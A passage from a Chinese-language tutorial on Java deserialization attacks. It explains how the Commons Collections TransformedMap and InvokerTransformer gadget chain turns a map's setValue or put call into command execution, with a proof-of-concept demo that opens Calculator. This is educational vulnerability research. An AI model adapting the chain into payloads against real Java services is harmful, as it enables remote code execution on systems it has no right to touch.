上面两个Demo为我们演示了如何使用InvokerTransformer
执行本地命令,现在我们也就还只剩下两个问题:
- 如何传入调用链。
- 如何调用
transform
方法执行本地命令。
现在我们已经使用InvokerTransformer
创建了一个含有恶意调用链的Transformer
类的Map对象,紧接着我们应该思考如何才能够将调用链窜起来并执行。org.apache.commons.collections.map.TransformedMap
类间接的实现了java.util.Map
接口,同时支持对Map
的key
或者value
进行Transformer
转换,调用decorate
和decorateTransform
方法就可以创建一个TransformedMap
:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
// 省去实现代码
}
只要调用TransformedMap
的setValue/put/putAll
中的任意方法都会调用InvokerTransformer
类的transform
方法,从而也就会触发命令执行。
使用TransformedMap
类的setValue触发transform示例:
public static void main(String[] args) {
String cmd = "open -a Calculator.app";
// 此处省去创建transformers过程,参考上面的demo
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// transformedMap.put("v1", "v2");// 执行put也会触发transform
// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}
System.out.println(transformedMap);
}
上述代码向我们展示了只要在Java的API中的任何一个类实现了java.io.Serializable
接口,并且可以传入我们构建的TransformedMap
对象还要有调用TransformedMap
中的setValue/put/putAll
中的任意方法一个方法的类,我们就可以在Java反序列化的时候触发InvokerTransformer
类的transform
方法实现RCE
。